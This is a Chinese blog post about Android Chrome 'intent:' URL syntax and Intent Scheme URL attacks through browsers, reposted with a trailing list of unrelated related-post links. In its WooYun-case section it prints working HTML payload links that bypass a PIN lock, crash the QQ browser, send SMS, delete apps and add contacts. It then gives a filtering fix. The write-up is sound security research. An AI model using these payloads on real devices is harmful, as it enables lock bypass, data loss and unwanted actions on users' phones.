android chrome iframe设置src属性无法启动app
0x01 Android Intents with Chrome
Android有一个很少人知道的特性可以通过web页面发送intent来启动apps。以前通过网页启动app是通过设置iframe的src属性,例如:
<iframe src="paulsawesomeapp://page1"> </iframe>
此方法适用version 18或者更早版本。其他android浏览器也适用。 这个功能在安卓chrome 浏览器version 25之后版本发生了改变。不能在通过设置iframe标签的src属性来启动app了。取而代之的是你应该通过自定义scheme实现用户手势启动app或者使用本文描述的“intent:”语法。
1.1 基本语法
“最佳实践”是构造一个intent插入网页中使用户能够登录app。这为您提供了更多的灵活性在控制应用程序是如何启动,包括传通过Intent Extras传递额外信息。 intent-based URI基本语法如下:
intent:HOST/URI-path // Optional host#Intent;package=[string];action=[string];category=[string];component=[string];scheme=[string];end;
语法细节见源码Android source
1.2 简单举例
例子是一个intent登陆应用“Zxing barcode scanner”,语法如下:
intent://scan/#Intent;package=com.google.zxing.client.android;scheme=zxing;end;
设置a标签发href属性:
<a href="intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end"> Take a QR code </a>
Package和host定义在配置文件中Android Zxing Manifest
1.3 注意事项
如果调用activity的intent包含extras,同样可以包含这些。 Activity只有配置了category filter才有被android.intent.category.BROWSABLE通过这种方式在浏览器中打开,因为这样表明其是安全的。
1.4 另请参阅
• Android Intents and Intent Filters
• Android Activities
0x02 利用思路
在Android上的Intent-based攻击很普遍,这种攻击轻则导致应用程序崩溃,重则可能演变提权漏洞。当然,通过静态特征匹配,Intent-Based的恶意样本还是很容易被识别出来的。 然而最近出现了一种基于Android Browser的攻击手段——Intent Scheme URLs攻击。这种攻击方式利用了浏览器保护措施的不足,通过浏览器作为桥梁间接实现Intend-Based攻击。相比于普通Intend-Based攻击,这种方式极具隐蔽性,而且由于恶意代码隐藏WebPage中,传统的特征匹配完全不起作用。除此之外,这种攻击还能直接访问跟浏览器自身的组件(无论是公开还是私有)和私有文件,比如cookie文件,进而导致用户机密信息的泄露。
0x03 1.3 Intent scheme URL的用法
看一下Intent Scheme URL的用法。
<script>location.href = "intent:mydata#Intent;action=myaction;type=text/plain;end"</script>
从用法上看,还是很好理解的,这里的代码等价于如下Java代码:
Intent intent = new Intent("myaction");
intent.setData(Uri.parse("mydata"));
intent.setType("text/plain");
再看一个例子:
intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end
上面的语句,等价于如下Java代码:
Intent intent = new Intent("myaction");
intent.setData(Uri.pase("//foobar/"));
intent.putExtra("xyz", "123");
intent.putExtra("abc", 678);
其中S代表String类型的key-value,i代表int类型的key-value。 源码中提供了Intent.parseUri(String uri)静态方法,通过这个方法可以直接解析uri,如果想更一步了解其中的语法,可以查看官方源码。
0x04 Intent scheme URI的解析及过滤
如果浏览器支持Intent Scheme URI语法,一般会分三个步骤进行处理:
- 利用Intent.parseUri解析uri,获取原始的intent对象;
- 对intent对象设置过滤规则,不同的浏览器有不同的策略,后面会详细介绍;
- 通过Context.startActivityIfNeeded或者Context.startActivity发送intent; 其中步骤2起关键作用,过滤规则缺失或者存在缺陷都会导致Intent Schem URL攻击。
关键函数
Intent.parseUri()
绕过
Intent.setComponent(null);
使用sel;
0x05 乌云案例
WooYun: qq浏览器IntentScheme处理不当
WooYun: 傲游云浏览器远程隐私泄露漏洞(需要一定条件)
某浏览器对此支持非常好
<a href="intent:#Intent;action=android.settings.SETTINGS;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;end">设置绕过Pin码(android 3.0-4.3)
</a>
<a href="intent:#Intent;component=com.tencent.mtt/com.tencent.mtt.debug.DbgMemWatch;end">qq浏览器崩溃
</a>
<a href="intent:http://drops.wooyun.org/webview.html#Intent;component=com.android.browser/com.android.browser.BrowserActivity;end">打开原生浏览器
</a>
<a href="intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end">发送短信
</a><br>
<a href="intent:#Intent;action=android.media.action.STILL_IMAGE_CAMERA;end">打开相机
</a><br>
<a href="intent:package:org.wooyun.hiwooyun#Intent;action=android.intent.action.DELETE;end">删除应用
</a><br>
<a href="intent:#Intent;action=android.intent.action.INSERT_OR_EDIT;S.name=magic;S.phone=+8610000;i.phone_type=2;type=vnd.android.cursor.item/person;end">添加联系人
</a><br>
0x06 修复
通过以上漏洞的描述,总结得出一种相对比较安全的Intent Filter方法,代码如下:
// convert intent scheme URL to intent object
Intent intent = Intent.parseUri(uri);
// forbid launching activities without BROWSABLE category
intent.addCategory("android.intent.category.BROWSABLE");
// forbid explicit call
intent.setComponent(null);
// forbid intent with selector intent
intent.setSelector(null);
// start the activity by the intent
context.startActivityIfNeeded(intent, -1);
0x07 参考
http://www.mbsd.jp/Whitepaper/IntentScheme.pdf http://blog.csdn.net/l173864930/article/details/36951805
转载于:https://www.cnblogs.com/gaoxue/p/4087861.html
android chrome iframe设置src属性无法启动app相关推荐
- 用javascript 动态改变iframe 的src 属性
原文地址为: 用javascript 动态改变iframe 的src 属性 <iframe id="xx"></iframe> <iframe id= ...
- php改变iframe的src,js动态改变iframe的src属性
今天在Chrome下显示如下的iframe,src设置为空,但打开页面时iframe一直处于刷新状态,看了下面的博文,觉得是不是默认不显示时src应该写成about:blank,明天回去测试下,回来更 ...
- js动态改变iframe的src属性
今天在Chrome下显示如下的iframe,src设置为空,但打开页面时iframe一直处于刷新状态,看了下面的博文,觉得是不是默认不显示时src应该写成about:blank,明天回去测试下,回来更 ...
- Android之TextView设置autoLink属性后自定义跳转到指定界面
在TextView 中设置autoLink 属性可以自动识别Web URL.电话号码.电子邮件地址.添加下划线改变字体颜色并实现点击事件,支持自动识别的类型: android:autoLink=&qu ...
- android中用代码设置edittext属性为密码,Android中EditText常用属性设置
EditText继承关系:View–>TextView–>EditText 常用属性如下:android:layout_gravity="center_vertical" ...
- android启动微信应用程序,android 从微信分享的网页中启动APP
项目中有个需求,让用户可以从分享到微信的网页中启动自己的APP,如果本机没有安装该应用程序则打开应用商店并打开该程序在商店中的搜索结果页面.在这里跟大家分享一下: 首先需要和服务端协商好网页中按钮点击 ...
- jQuery如何动态设置iframe的src属性
一句搞定,不搞那些花里胡哨的 $('#InformationURL').attr('src', 'https://www.baidu.com'); //#InformationURL: iframe的 ...
- Android Java 代码设置 layout_weight 属性
介绍 遇到在一个页面布局中,UI显示需要把屏幕分成上下两部分高度均分显示内容.是不是会想到 xml 里的 layout_weight设置权重的属性,但是现在需要代码里设置权重. 查了下,控件必须在 L ...
- 【Android】如何实现启动APP时引导页、欢迎页功能设置之(二)设置只在第一次启动APP时跳入引导界面
这会先看效果图: (二)设置欢迎页并判断是否程序实第一次开启,来判断是否加载引导页. 实现关键功能: 1.欢迎页面的定时设置 2.判断 程序是否是第一次启动,如果是则跳入引导页,否则跳入主界面 3.记 ...
最新文章
- eclipse xsd 生成java,Generate XSD from JAXB Java Classes using Eclipse
- 进击webpack4 (优化篇)
- ubuntu16.04装机:网易云+搜狗拼音+chrome+uGet+caffe(openCV3.1+CUDA+cuDNN+python)
- 【企业管理】价值创造的两个轮子
- SAP CRM Fiori应用My Note的OData调用设计
- Angular浅入深出系列 - 写在前面
- DM***+OSPF测试
- 讨论用户注册有的几篇好文
- python numpy中对ndarry按照index(位置下标)增删改查
- Microsoft Quantum Katas帮助开发人员探索使用Q#实现量子计算
- APP测试之使用ADB可能遇到的错误及解决办法
- 20150917-html第二次课
- 程序员集体意识大爆发:996背后的深问题
- LaTeX中段落缩进的概念
- 5分钟外设学堂:耳机不响别慌,换个插头能救活!
- 你既言而无信,我即出尔反尔
- ad19电气规则检查_AD19中PCB设计常用规则-电气规则设置
- 三分钟了解一下深度学习
- 添加MySQL到环境变量(超详细)
- 微信小程序之自定义组件的使用、介绍、案例分享